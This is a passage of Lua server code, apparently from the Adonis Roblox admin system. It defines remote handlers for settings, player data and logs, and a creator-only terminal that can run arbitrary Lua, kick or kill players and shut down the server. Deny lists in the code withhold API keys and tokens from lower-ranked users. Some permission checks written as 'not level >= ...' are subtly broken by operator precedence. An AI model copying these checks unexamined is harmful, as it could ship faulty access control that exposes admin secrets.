p)\n\t\t\tend;\n\n\t\t\tTaskManager = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal action = args[1]\n\t\t\t\t\tif action == \"GetTasks\" then\n\t\t\t\t\t\tlocal tab = {}\n\t\t\t\t\t\tfor i,v in next, service.GetTasks() do\n\t\t\t\t\t\t\tlocal new = {}\n\t\t\t\t\t\t\tnew.Status = v.Status\n\t\t\t\t\t\t\tnew.Name = v.Name\n\t\t\t\t\t\t\tnew.Index = v.Index\n\t\t\t\t\t\t\tnew.Created = v.Created\n\t\t\t\t\t\t\tnew.Function = tostring(v.Function)\n\t\t\t\t\t\t\ttable.insert(tab,new)\n\t\t\t\t\t\tend\n\t\t\t\t\t\treturn tab\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tExecutePermission = function(p,args)\n\t\t\t\treturn Core.ExecutePermission(args[1],args[2],true)\n\t\t\tend;\n\n\t\t\tVariable = function(p,args)\n\t\t\t\treturn Variables[args[1]]\n\t\t\tend;\n\n\t\t\tDefault = function(p,args)\n\t\t\t\tlocal setting = args[1]\n\t\t\t\tlocal level = Admin.GetLevel(p)\n\t\t\t\tlocal ret = nil\n\t\t\t\tlocal blocked = {\n\t\t\t\t\tDataStore = true;\n\t\t\t\t\tDataStoreKey = true;\n\n\t\t\t\t\tTrello_Enabled = true;\n\t\t\t\t\tTrello_PrimaryBoard = true;\n\t\t\t\t\tTrello_SecondaryBoards = true;\n\t\t\t\t\tTrello_AppKey = true;\n\t\t\t\t\tTrello_Token = true;\n\n\t\t\t\t\t--G_Access = true;\n\t\t\t\t\tG_Access_Key = true;\n\t\t\t\t\tWebPanel_ApiKey = true;\n\t\t\t\t\t--G_Access_Perms = true;\n\t\t\t\t\t--Allowed_API_Calls = true;\n\t\t\t\t}\n\n\t\t\t\tif type(setting) == \"table\" then\n\t\t\t\t\tret = {}\n\t\t\t\t\tfor i,set in pairs(setting) do\n\t\t\t\t\t\tif Defaults[set] and not (blocked[set] and not level >= Settings.Ranks.Creators.Level) then\n\t\t\t\t\t\t\tret[set] = Defaults[set]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telseif type(setting) == \"string\" then\n\t\t\t\t\tif Defaults[setting] and not (blocked[setting] and not level >= Settings.Ranks.Creators.Level) then\n\t\t\t\t\t\tret = Defaults[setting]\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\treturn ret\n\t\t\tend;\n\n\t\t\tAllDefaults = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal sets = {}\n\n\t\t\t\t\tsets.Settings = {}\n\t\t\t\t\tsets.Descs = server.Descriptions\n\t\t\t\t\tsets.Order = server.Order\n\n\t\t\t\t\tfor i,v in pairs(Defaults) do\n\t\t\t\t\t\tsets.Settings[i] = v\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal blocked = {\n\t\t\t\t\t\tHideScript = true; -- Changing in-game will do nothing; Not able to be saved\n\t\t\t\t\t\tDataStore = true;\n\t\t\t\t\t\tDataStoreKey = true;\n\t\t\t\t\t\tDataStoreEnabled = true;\n\n\t\t\t\t\t\t--Trello_Enabled = true;\n\t\t\t\t\t\t--Trello_PrimaryBoard = true;\n\t\t\t\t\t\t--Trello_SecondaryBoards = true;\n\t\t\t\t\t\tTrello_AppKey = true;\n\t\t\t\t\t\tTrello_Token = true;\n\n\t\t\t\t\t\tG_API = true;\n\t\t\t\t\t\tG_Access = true;\n\t\t\t\t\t\tG_Access_Key = true;\n\t\t\t\t\t\tG_Access_Perms = true;\n\t\t\t\t\t\tAllowed_API_Calls = true;\n\n\t\t\t\t\t\tOnStartup = true;\n\t\t\t\t\t\tOnSpawn = true;\n\t\t\t\t\t\tOnJoin = true;\n\n\t\t\t\t\t\tCustomRanks = true; -- Not supported yet\n\t\t\t\t\t}\n\n\t\t\t\t\tfor setting,value in pairs(sets.Settings) do\n\t\t\t\t\t\tif blocked[setting] then\n\t\t\t\t\t\t\tsets.Settings[setting] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\treturn sets\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tSetting = function(p,args)\n\t\t\t\tlocal setting = args[1]\n\t\t\t\tlocal level = Admin.GetLevel(p)\n\t\t\t\tlocal ret = nil\n\t\t\t\tlocal allowed = Remote.AllowedSettings\n\n\t\t\t\tif type(setting) == \"table\" then\n\t\t\t\t\tret = {}\n\t\t\t\t\tfor i,set in pairs(setting) do\n\t\t\t\t\t\tif Settings[set] ~= nil and (allowed[set] or level>=Settings.Ranks.Creators.Level) then\n\t\t\t\t\t\t\tret[set] = Settings[set]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telseif type(setting) == \"string\" then\n\t\t\t\t\tif Settings[setting] and (allowed[setting] or level>=Settings.Ranks.Creators.Level) then\n\t\t\t\t\t\tret = Settings[setting]\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\treturn ret\n\t\t\tend;\n\n\t\t\tAllSettings = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal sets = {}\n\n\t\t\t\t\tsets.Settings = {}\n\t\t\t\t\tsets.Descs = server.Descriptions\n\t\t\t\t\tsets.Order = server.Order\n\n\t\t\t\t\tfor i,v in pairs(Settings) do\n\t\t\t\t\t\tsets.Settings[i] = v\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal blocked = Remote.BlockedSettings\n\n\t\t\t\t\tfor setting,value in pairs(sets.Settings) do\n\t\t\t\t\t\tif blocked[setting] then\n\t\t\t\t\t\t\tsets.Settings[setting] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\treturn sets\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tUpdateList = function(p, args)\n\t\t\t\tlocal list = args[1]\n\t\t\t\tlocal update = Logs.ListUpdaters[list]\n\t\t\t\tif update then\n\t\t\t\t\treturn update(p, unpack(args,2))\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tAdminLevel = function(p,args)\n\t\t\t\treturn Admin.GetLevel(p)\n\t\t\tend;\n\n\t\t\tKeybinds = function(p,args)\n\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\treturn playerData.Keybinds or {}\n\t\t\tend;\n\n\t\t\tUpdateKeybinds = function(p,args)\n\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\tlocal binds = args[1]\n\t\t\t\tlocal resp = \"OK\"\n\t\t\t\tif type(binds) == \"table\" then\n\t\t\t\t\tplayerData.Keybinds = binds\n\t\t\t\t\tCore.SavePlayer(p,playerData)\n\t\t\t\t\tresp = \"Updated\"\n\t\t\t\telse\n\t\t\t\t\tresp = \"Error\"\n\t\t\t\tend\n\n\t\t\t\treturn resp\n\t\t\tend;\n\n\t\t\tPlaylist = function(p,args)\n\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\treturn playerData.CustomPlaylist or {}\n\t\t\tend;\n\n\t\t\tUpdatePlaylist = function(p,args)\n\t\t\t\tlocal resp = \"Error: Unknown Error\"\n\t\t\t\tif type(args)==\"table\" then\n\t\t\t\t\tif string.len(service.HttpService:JSONEncode(args)) < 4000 then\n\t\t\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\t\t\tplayerData.CustomPlaylist = args[1]\n\t\t\t\t\t\tCore.SavePlayer(p,playerData)\n\t\t\t\t\t\tresp = \"Updated\"\n\t\t\t\t\telse\n\t\t\t\t\t\tresp = \"Error: Playlist is too big (4000+ chars)\"\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tresp = \"Error: Data is not a valid table\"\n\t\t\t\tend\n\t\t\t\treturn resp\n\t\t\tend;\n\n\t\t\tUpdateClient = function(p,args)\n\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\tlocal setting = args[1]\n\t\t\t\tlocal value = args[2]\n\t\t\t\tlocal data = playerData.Client or {}\n\n\t\t\t\tdata[setting] = value\n\t\t\t\tplayerData.Client = data\n\t\t\t\tCore.SavePlayer(p, playerData)\n\n\t\t\t\treturn \"Updated\"\n\t\t\tend;\n\n\t\t\tUpdateDonor = function(p,args)\n\t\t\t\tlocal playerData = Core.GetPlayer(p)\n\t\t\t\tlocal donor = args[1]\n\t\t\t\tlocal resp = \"OK\"\n\t\t\t\tif type(donor) == \"table\" and donor.Cape and type(donor.Cape) == \"table\" then\n\t\t\t\t\tplayerData.Donor = donor\n\t\t\t\t\tCore.SavePlayer(p, playerData)\n\t\t\t\t\tif donor.Enabled then\n\t\t\t\t\t\tFunctions.Donor(p)\n\t\t\t\t\telse\n\t\t\t\t\t\tFunctions.UnCape(p)\n\t\t\t\t\tend\n\t\t\t\t\tresp = \"Updated\"\n\t\t\t\telse\n\t\t\t\t\tresp = \"Error\"\n\t\t\t\tend\n\t\t\t\treturn resp\n\t\t\tend;\n\n\t\t\tUpdateAliases = function(p, args)\n\t\t\t\tlocal aliases = args[1] or {};\n\n\t\t\t\tif type(aliases) == \"table\" then\n\t\t\t\t\tlocal data = Core.GetPlayer(p)\n\n\t\t\t\t\t--// check for stupid stuff\n\t\t\t\t\tfor i,v in next,aliases do\n\t\t\t\t\t\tif type(i) ~= \"string\" or type(v) ~= \"string\" then\n\t\t\t\t\t\t\taliases[i] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tdata.Aliases = aliases;\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tPlayerData = function(p,args)\n\t\t\t\tlocal data = Core.GetPlayer(p)\n\t\t\t\tdata.isDonor = Admin.CheckDonor(p)\n\t\t\t\treturn data\n\t\t\tend;\n\n\t\t\tCheckAdmin = function(p,args)\n\t\t\t\treturn Admin.CheckAdmin(p)\n\t\t\tend;\n\n\t\t\tSearchCommands = function(p,args)\n\t\t\t\treturn Admin.SearchCommands(p,args[1] or \"all\")\n\t\t\tend;\n\t\t\n\t\t\tCheckBackpack = function(p,args)\n\t\t\t\treturn Anti.CheckBackpack(p,args[1])\n\t\t\tend;\n\n\t\t\tFormattedCommands = function(p,args)\n\t\t\t\tlocal commands = Admin.SearchCommands(p,args[1] or \"all\")\n\t\t\t\tlocal tab = {}\n\t\t\t\tfor i,v in pairs(commands) do\n\t\t\t\t\tif not v.Hidden and not v.Disabled then\n\t\t\t\t\t\tfor a,b in pairs(v.Commands) do\n\t\t\t\t\t\t\ttable.insert(tab,Admin.FormatCommand(v,a))\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\treturn tab\n\t\t\tend;\n\n\t\t\tTerminalData = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal entry = Remote.Terminal.Data[tostring(p.UserId)]\n\t\t\t\t\tif not entry then\n\t\t\t\t\t\tRemote.Terminal.Data[tostring(p.UserId)] = {\n\t\t\t\t\t\t\tPlayer = p;\n\t\t\t\t\t\t\tOutput = {};\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\n\t\t\t\t\treturn {\n\t\t\t\t\t\tServerLogs = service.LogService:GetLogHistory();\n\t\t\t\t\t\tClientLogs = {};\n\t\t\t\t\t\tScriptLogs = Logs.Script;\n\t\t\t\t\t\tAdminLogs = Logs.Commands;\n\t\t\t\t\t\tErrorLogs = Logs.Errors;\n\t\t\t\t\t\tChatLogs = Logs.Chats;\n\t\t\t\t\t\tJoinLogs = Logs.Joins;\n\t\t\t\t\t\tReplications = Logs.Replications;\n\t\t\t\t\t\tExploit = Logs.Exploit;\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tTerminal = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal data = args[2]\n\t\t\t\t\tlocal message = args[1]\n\t\t\t\t\tlocal command = message:match(\"(.-) \") or message\n\t\t\t\t\tlocal argString = message:match(\"^.- (.+)\") or \"\"\n\t\t\t\t\tlocal comTable = Remote.Terminal.GetCommand(command)\n\t\t\t\t\tif comTable then\n\t\t\t\t\t\tlocal cArgs = Functions.Split(argString, \" \", comTable.Arguments)\n\t\t\t\t\t\tlocal ran,ret = pcall(comTable.Function,p,cArgs,data)\n\t\t\t\t\t\tif ran then\n\t\t\t\t\t\t\treturn ret\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\t\"COMMAND ERROR: \"..tostring(ret)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\"Could not find any command matching \\\"\"..command..\"\\\"\"\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t};\n\n\t\tTerminal = {\n\t\t\tData = {};\n\t\t\tFormat = function(msg,data) (data or {}).Text = msg end;\n\t\t\tOutput = function(tab,msg,mata) table.insert(tab,Remote.Terminal.Format(msg,mata)) end;\n\t\t\tGetCommand = function(cmd) for i,com in next,Remote.Terminal.Commands do if com.Command:lower() == cmd:lower() then return com end end end;\n\t\t\tLiveOutput = function(p,data,type) Remote.FireEvent(p,\"TerminalLive\",{Data = data; Type = type or \"Terminal\";}) end;\n\t\t\tCommands = {\n\t\t\t\tHelp = {\n\t\t\t\t\tUsage = \"help\";\n\t\t\t\t\tCommand = \"help\";\n\t\t\t\t\tArguments = 0;\n\t\t\t\t\tDescription = \"Shows a list of available commands and their usage\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tlocal output = {}\n\t\t\t\t\t\tfor i,v in next,Remote.Terminal.Commands do\n\t\t\t\t\t\t\ttable.insert(output, tostring(v.Usage).. string.rep(\" \",30-string.len(tostring(v.Usage))))\n\t\t\t\t\t\t\ttable.insert(output, \"- \".. tostring(v.Description))\n\t\t\t\t\t\tend\n\t\t\t\t\t\treturn output\n\t\t\t\t\tend;\n\t\t\t\t};\n\n\t\t\t\tMessage = {\n\t\t\t\t\tUsage = \"message \";\n\t\t\t\t\tCommand = \"message\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Sends a message in the Roblox chat\";\n\t\t\t\t\tFunction = function(p, args, data)\n\t\t\t\t\t\tfor i,v in next,service.GetPlayers() do\n\t\t\t\t\t\t\tRemote.Send(v,\"Function\",\"ChatMessage\",args[1],Color3.new(1,64/255,77/255))\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tTest = {\n\t\t\t\t\tUsage = \"test \";\n\t\t\t\t\tCommand = \"test\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Used to test the connection to the server and it's ability to return data\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tRemote.Terminal.LiveOutput(p,\"Return Test: \"..tostring(args[1]))\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tLoadstring = {\n\t\t\t\t\tUsage = \"loadstring \";\n\t\t\t\t\tCommand = \"loadstring\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Loads and runs the given lua string\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tlocal newenv = GetEnv(getfenv(),{\n\t\t\t\t\t\t\tprint = function(...) local nums = {...} for i,v in pairs(nums) do Remote.Terminal.LiveOutput(p,\"PRINT: \"..tostring(v)) end end;\n\t\t\t\t\t\t\twarn = function(...) local nums = {...} for i,v in pairs(nums) do Remote.Terminal.LiveOutput(p,\"WARN: \"..tostring(v)) end end;\n\t\t\t\t\t\t})\n\n\t\t\t\t\t\tlocal func,err = Core.Loadstring(args[1], newenv)\n\t\t\t\t\t\tif func then\n\t\t\t\t\t\t\tfunc()\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tRemote.Terminal.LiveOutput(p,\"ERROR: \"..tostring(err:match(\":(.*)\") or err))\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tExecute = {\n\t\t\t\t\tUsage = \"execute \";\n\t\t\t\t\tCommand = \"execute\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Runs the specified command as the server\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tProcess.Command(p, args[1], {DontLog = true, Check = true}, true)\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\"Command ran: \"..args[1]\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tSudo = {\n\t\t\t\t\tUsage = \"sudo \";\n\t\t\t\t\tCommand = \"sudo\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Runs the specified command on the specified player as the server\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tProcess.Command(p, Settings.Prefix..\"sudo \".. tostring(args[1]), {DontLog = true, Check = true}, true)\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\"Command ran: \".. Settings.Prefix..\"sudo \".. tostring(args[1])\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tKick = {\n\t\t\t\t\tUsage = \"kick \";\n\t\t\t\t\tCommand = \"kick\";\n\t\t\t\t\tArguments = 2;\n\t\t\t\t\tDescription = \"Disconnects the specified player from the server\";\n\t\t\t\t\tFunction = function(p, args, data)\n\t\t\t\t\t\tlocal plrs = service.GetPlayers(p,args[1])\n\t\t\t\t\t\tif #plrs>0 then\n\t\t\t\t\t\t\tfor i,v in pairs(plrs) do\n\t\t\t\t\t\t\t\tv:Kick(args[2] or \"Disconnected by server\")\n\t\t\t\t\t\t\t\treturn {\"Disconnect \"..tostring(v.Name)..\" from the server\"}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn {\"No players matching '\"..args[1]..\"' found\"}\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tKill = {\n\t\t\t\t\tUsage = \"kill \";\n\t\t\t\t\tCommand = \"kill\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Calls :BreakJoints() on the target player's character\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tlocal plrs = service.GetPlayers(p,args[1])\n\t\t\t\t\t\tif #plrs>0 then\n\t\t\t\t\t\t\tfor i,v in pairs(plrs) do\n\t\t\t\t\t\t\t\tif v.Character and v.Character ~= nil then\n\t\t\t\t\t\t\t\t\tv.Character:BreakJoints()\n\t\t\t\t\t\t\t\t\treturn {\"Killed \"..tostring(v.Name)}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\treturn {tostring(v.Name)..\" has no character\"}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn {\"No players matching '\"..args[1]..\"' found\"}\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tRespawn = {\n\t\t\t\t\tUsage = \"respawn \";\n\t\t\t\t\tCommand = \"respawn\";\n\t\t\t\t\tArguments = 1;\n\t\t\t\t\tDescription = \"Calls :LoadCharacter() on the target player\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tlocal plrs = service.GetPlayers(p,args[1])\n\t\t\t\t\t\tif #plrs>0 then\n\t\t\t\t\t\t\tfor i,v in pairs(plrs) do\n\t\t\t\t\t\t\t\tv:LoadCharacter()\n\t\t\t\t\t\t\t\treturn {\"Respawned \"..tostring(v.Name)}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn {\"No players matching '\"..args[1]..\"' found\"}\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t};\n\n\t\t\t\tShutdown = {\n\t\t\t\t\tUsage = \"shutdown\";\n\t\t\t\t\tCommand = \"shutdown\";\n\t\t\t\t\tArguments = 0;\n\t\t\t\t\tDescription = \"Disconnects all players from the server and prevents rejoining\";\n\t\t\t\t\tFunction = function(p,args,data)\n\t\t\t\t\t\tfor i,v in next,service.Players:GetPlayers() do\n\t\t\t\t\t\t\tv:Kick()\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tservice.PlayerAdded:Connect(function(p)\n\t\t\t\t\t\t\tp:Kick()\n\t\t\t\t\t\tend)\n\t\t\t\t\tend\n\t\t\t\t};\n\t\t\t};\n\t\t};\n\n\t\tSessionHandlers = {\n\n\t\t};\n\n\t\tUnEncrypted = {\n\t\t\t--[[TrustCheck = function(p)\n\t\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\t\tRemote.Fire(p, \"TrustCheck\", keys.Special)\n\t\t\tend;--]]\n\n\t\t\tProcessChat = function(p,msg)\n\t\t\t\tProcess.Chat(p,msg)\n\t\t\tend;\n\n\t\t\tExplorerAction = function(p, ...)\n\t\t\t\t--if Admin.CheckAdmin(p) then\n\t\t\t\t\t--// Handle stuff like Dex calls(?)\n\t\t\t\t--end\n\t\t\tend;\n\t\t};\n\n\t\tCommands = {\n\t\t\tGetReturn = function(p,args)\n\t\t\t\tlocal com = args[1]\n\t\t\t\tlocal key = args[2]\n\t\t\t\tlocal parms = {unpack(args,3)}\n\t\t\t\tlocal retfunc = Remote.Returnables[com]\n\t\t\t\tlocal retable = (retfunc and {pcall(retfunc,p,parms)}) or {}\n\t\t\t\tif retable[1] ~= true then\n\t\t\t\t\tlogError(p,retable[2])\n\t\t\t\t\tRemote.Send(p, \"GiveReturn\", key, \"__ADONIS_RETURN_ERROR\", retable[2])\n\t\t\t\telse\n\t\t\t\t\tRemote.Send(p, \"GiveReturn\", key, unpack(retable,2))\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tGiveReturn = function(p,args)\n\t\t\t\tif Remote.PendingReturns[args[1]] then\n\t\t\t\t\tRemote.PendingReturns[args[1]] = nil\n\t\t\t\t\tservice.Events[args[1]]:Fire(unpack(args,2))\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tClientCheck = function(p,args)\n\t\t\t\tlocal key = tostring(p.UserId)\n\t\t\t\tlocal data = args[1]\n\t\t\t\tlocal special = args[2]\n\t\t\t\tlocal keys = Remote.Clients[key]\n\n\t\t\t\t--if (math.abs(data.Received - keys.Sent) > 10) then\n\t\t\t\t--\tprint(\"Something is wrong...\")\n\t\t\t\t--end\n\n\t\t\t\tif keys and special and special == keys.Special then\n\t\t\t\t\tkeys.LastUpdate = os.time()\n\t\t\t\telse\n\t\t\t\t\tAnti.Detected(p, \"Log\", \"Client sent incorrect check data\")\n\t\t\t\tend\n\n\t\t\t\treturn;\n\t\t\tend;\n\n\t\t--[[Session = function(p,args)\n\t\t\t\tlocal type = args[1]\n\t\t\t\tlocal data = args[2]\n\t\t\t\tlocal handler = Remote.SessionHandlers[type]\n\t\t\t\tif handler then\n\t\t\t\t\treturn handler(p, data)\n\t\t\t\tend\n\t\t\tend;--]]\n\n\t\t\tSession = function(p, args)\n\t\t\t\tlocal sessionKey = args[1];\n\t\t\t\tlocal session = sessionKey and Remote.GetSession(sessionKey);\n\n\t\t\t\tif session and session.Users[p] then\n\t\t\t\t\tsession:FireEvent(p, unpack(args, 2));\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tHandleExplore = function(p, args)\n\t\t\t\t--// TODO\n\t\t\t\t--// Make this a separate Admin method\n\t\t\t\tlocal Command = Commands.Explore\n\t\t\t\tif not Command then return end\n\t\t\t\tlocal Level = Command.AdminLevel\n\t\t\t\tif not Level then return end\n\t\t\t\tlocal Rank = Settings.Ranks[Level]\n\t\t\t\tif not Rank then return end\n\t\t\t\tif not Rank.Level then return end\n\t\t\t\tif Admin.GetLevel(p) >= Rank.Level then\n\t\t\t\t\tlocal obj = args[1];\n\t\t\t\t\tlocal com = args[2];\n\t\t\t\t\tlocal data = args[3];\n\n\t\t\t\t\tif obj then\n\t\t\t\t\t\tif com == \"Delete\" then\n\t\t\t\t\t\t\tif not pcall(function()\n\t\t\t\t\t\t\t\t\tobj:Destroy()\n\t\t\t\t\t\t\t\tend) then\n\t\t\t\t\t\t\t\tRemote.MakeGui(p ,\"Notification\", {\n\t\t\t\t\t\t\t\t\tTitle = \"Error\";\n\t\t\t\t\t\t\t\t\tIcon = server.MatIcons.Error;\n\t\t\t\t\t\t\t\t\tMessage = \"Cannot delete object.\";\n\t\t\t\t\t\t\t\t\tTime = 2;\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tPlayerEvent = function(p,args)\n\t\t\t\tservice.Events[tostring(args[1])..p.UserId]:Fire(unpack(args,2))\n\t\t\tend;\n\n\t\t\tSaveTableAdd = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal tabName = args[1];\n\t\t\t\t\tlocal value = args[2];\n\t\t\t\t\tlocal tab = Core.IndexPathToTable(tabName);\n\n\t\t\t\t\ttable.insert(tab, value);\n\n\t\t\t\t\tCore.DoSave({\n\t\t\t\t\t\tType = \"TableAdd\";\n\t\t\t\t\t\tTable = tabName;\n\t\t\t\t\t\tValue = value;\n\t\t\t\t\t})\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tSaveTableRemove = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal tabName = args[1];\n\t\t\t\t\tlocal value = args[2];\n\t\t\t\t\tlocal tab = Core.IndexPathToTable(tabName);\n\t\t\t\t\tlocal ind = Functions.GetIndex(tab, value);\n\n\t\t\t\t\tif ind then\n\t\t\t\t\t\ttable.remove(tab, ind);\n\t\t\t\t\tend\n\n\t\t\t\t\tCore.DoSave({\n\t\t\t\t\t\tType = \"TableRemove\";\n\t\t\t\t\t\tTable = tabName;\n\t\t\t\t\t\tValue = value;\n\t\t\t\t\t})\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tSaveSetSetting = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal setting = args[1]\n\t\t\t\t\tlocal value = args[2]\n\n\t\t\t\t\tif setting == 'Prefix' or setting == 'AnyPrefix' or setting == 'SpecialPrefix' then\n\t\t\t\t\t\tlocal orig = Settings[setting]\n\t\t\t\t\t\tfor _, v in pairs(Commands) do\n\t\t\t\t\t\t\tif v.Prefix == orig then\n\t\t\t\t\t\t\t\tv.Prefix = value\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tserver.Admin.CacheCommands()\n\t\t\t\t\tend\n\n\t\t\t\t\tSettings[setting] = value\n\n\t\t\t\t\tCore.DoSave({\n\t\t\t\t\t\tType = \"SetSetting\";\n\t\t\t\t\t\tSetting = setting;\n\t\t\t\t\t\tValue = value;\n\t\t\t\t\t})\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tClearSavedSettings = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tCore.DoSave({Type = \"ClearSettings\"})\n\t\t\t\t\tFunctions.Hint(\"Cleared saved settings\", {p})\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tSetSetting = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then\n\t\t\t\t\tlocal setting = args[1]\n\t\t\t\t\tlocal value = args[2]\n\n\t\t\t\t\tif setting == \"Prefix\" or setting == \"AnyPrefix\" or setting == \"SpecialPrefix\" then\n\t\t\t\t\t\tlocal orig = Settings[setting]\n\t\t\t\t\t\tfor _, v in pairs(Commands) do\n\t\t\t\t\t\t\tif v.Prefix == orig then\n\t\t\t\t\t\t\t\tv.Prefix = value\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tserver.Admin.CacheCommands()\n\t\t\t\t\tend\n\n\t\t\t\t\tSettings[setting] = value\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tDetected = function(p,args)\n\t\t\t\tAnti.Detected(p, args[1], args[2])\n\t\t\tend;\n\n\t\t\tTrelloOperation = function(p,args)\n\t\t\t\tif Admin.GetLevel(p) > Settings.Ranks.Admins.Level then\n\t\t\t\t\tlocal data = args[1]\n\t\t\t\t\tif data.Action == \"MakeCard\" then\n\t\t\t\t\t\tlocal list = data.List\n\t\t\t\t\t\tlocal name = data.Name\n\t\t\t\t\t\tlocal desc = data.Desc\n\t\t\t\t\t\tlocal trello = HTTP.Trello.API(Settings.Trello_AppKey,Settings.Trello_Token)\n\t\t\t\t\t\tlocal lists = trello.getLists(Settings.Trello_Primary)\n\t\t\t\t\t\tlocal list = trello.getListObj(lists,list)\n\t\t\t\t\t\tif list then\n\t\t\t\t\t\t\tlocal card = trello.makeCard(list.id,name,desc)\n\t\t\t\t\t\t\tFunctions.Hint(\"Made card \\\"\"..card.name..\"\\\"\",{p})\n\t\t\t\t\t\t\tLogs.AddLog(Logs.Script,{\n\t\t\t\t\t\t\t\tText = tostring(p)..\" performed Trello operation\";\n\t\t\t\t\t\t\t\tDesc = \"Player created a Trello card\";\n\t\t\t\t\t\t\t\tPlayer = 